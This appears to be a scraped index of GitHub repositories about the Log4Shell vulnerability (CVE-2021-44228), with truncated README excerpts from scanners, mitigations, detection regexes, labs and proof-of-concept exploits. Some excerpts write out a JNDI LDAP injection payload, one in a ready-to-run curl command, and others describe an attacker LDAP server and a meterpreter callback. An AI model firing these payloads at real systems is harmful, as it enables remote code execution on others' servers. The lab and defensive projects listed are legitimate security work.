log4shell-cloud-scanner

.. image:: images/Mitigalogo.png Introduction we are providing DevOps and security teams script to identify cloud workloads that may be vulnerable to the Log4j vulnerabilitylog4shell in their AWS account. We currently support "CVE-2021-44228" and "CVE-2021-45046" RCE vulnerabilities. The script...

log4j-scanner-CVE-2021-44228

log4j-scanner CVE-2021-44228 Simple tool for scanning entire directories for attempts of CVE-2021-44228 there are always ways to bypass filters , same goes for the regex patterns...

hka-seminar-log4shell

Seminar Paper - Log4Shell Vulnerability Demonstration CVE-2021-44228 Security Notice This repository is intended exclusively for educational and demonstration purposes as part of a security-related seminar paper. Do not use this code in production environments or against systems without explicit...

log4shell_lab

log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...

Log4Shell-Attack

This repository does not have a README...

Log4Shell

Log4Shell CVE-2021-44228 ☠️ Log4Shell PoC CVE-2021-44228 Proof-of-concept exploit for the critical Log4Shell vulnerability in Apache Log4j ≤ 2.14.1, which allows remote code execution via JNDI injections. ⚠️ This PoC is for educational purposes and controlled testing in authorized environments...

Log4jShell-Scan

Overview log4j2 RCE vulnerability CVE-2021-44228 intranet scanner, can be used for vulnerability scanning under the condition of no internet access, helping enterprises quickly discover Log4Shell vulnerabilities. Modified from: https://github.com/fullhunt/log4j-scan JNDIMonitor from:...

l4s_poc

l4spoc Log4Shell Cve-2021-44228 Proof Of Concept This is a personal project that runs a simple POC that will host an LDAP server and an HTTP server for the Log4Shell exploit. Server The runservers.py will setup a stripped down meterpreter client that will call back to the Metasploit instance pass...

Log4Shell-CVE-2021-44228-Demo

Log4ShellCVE-2021-44228 Demo Environment Setup Client Anywhere that with ability to access the HTTP Server with curl command line Vulnerable App by Http Server with log4j Amazon Linux 2 x86 based EC2 Instance / CentOS Azure Virtual Machine $ yum install docker -y $ systemctl enable docker $...

CVE-2022-42889-POC

CVE-2022-42889-POC A simple demo application that shows how to exploit the CVE-2022-42889 vulnerability. Utilizes OOB Out of Band services to demonstrate dns and url prefixes. JavaDocs for commons-text interpolation commons-text JavaDocs Example interpolations script:javascript...

Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment

Exploiting-CVE-2021-44228-Log4Shell-in-a-Banking-Environment Objective: Demonstrate the exploitation of the Log4Shell vulnerability CVE-2021-44228 within a simulated banking application environment. Scope: 1: Setup a vulnerable banking application using Apache Log4j. 2:Craft a payload to exploit...

log4shell-honeypot

Log4Shell Honeypot This demo application is vulnerable to the CVE-2021-44228, also known as Log4Shell. For example, it can be used to validate a detection or remediation script. How to launch Build the application: mvn clean package Or, alternatively, download the pre-built JAR. Run the applicati...

cve-2021-44228

This Ansible playbook applies a global 'JAVATOOLOPTIONS: -Dlog4j2.formatMsgNoLookups=true' to all users. This mitigates the CVE-2021-44228 exploit for all JVM apps on the hosts in the inventory To exec: ansible-playbook playbook.yml -i inventory...

CVE-2021-44228-Log4Shell-Hashes

CVE-2021-44228-Log4Shell-Hashes Hashes for vulnerable LOG4J versions Created to help orgs search for this vulnerable versions https://www.lunasec.io/docs/blog/log4j-zero-day/ Source of the hashes: https://archive.apache.org/dist/logging/log4j/ Possibly 1.X affected...

log4shell-minecraft-demo

Log4Shell CVE-2021-44228 minecraft demo This demo is used at education fairs to give potential future students an idea of the cybersecurity department at HTL Villach and on how everyday applications can be exploited Note: This entire demo uses Minecraft 1.8.8 Attacker The attacker in this scenari...

JNDI-Exploit-1.2-log4shell

JNDI-Exploit-1.2-log4shell Details : CVE-2021-44228 Usage : ----------------------------------------------------- java -jar JNDIExploit-1.2.jar -i AttackerIP -i, --ip Local ip address -l, --ldapPort Ldap bind port default: 1389 -p, --httpPort Http bind port default: 8080 -u, --usage Show usage...

JndiRemover

JndiRemover A small mod aimed at eliminating the CVE-2021-44228 vulnerability by removing/disabling Jndi in Log4j and intercepting messages containing the text "$jndi:ldap://domainname.com/script", which will be removed. Supported versions of MC: Forge 1.7.10, 1.12.2...

log4j_checker

Log4jchecker.py CVE-2021-44228 Description This Python3 script tries to look for servers vulnerable to CVE-2021-44228, also known as Log4Shell, a very critical vulnerability found in Log4j2 Java logging library. It doesn't rely on external DNS log servers to verify and validate the vulnerable...

log4j-vuln-coverage-check

log4j-vuln-coverage-check A simple project to check coverage of Log4J vuln CVE-2021-44228 and related...

log4shell-rex

Log4Shell-Rex The following RegEx was written in an attempt to match indicators of a Log4Shell CVE-2021-44228 and CVE-2021-45046 exploitation. If you run a version from pre 2021/12/21, it's highly recommended to test and update. I've removed some quirks and enhanced performance. The Regex aims...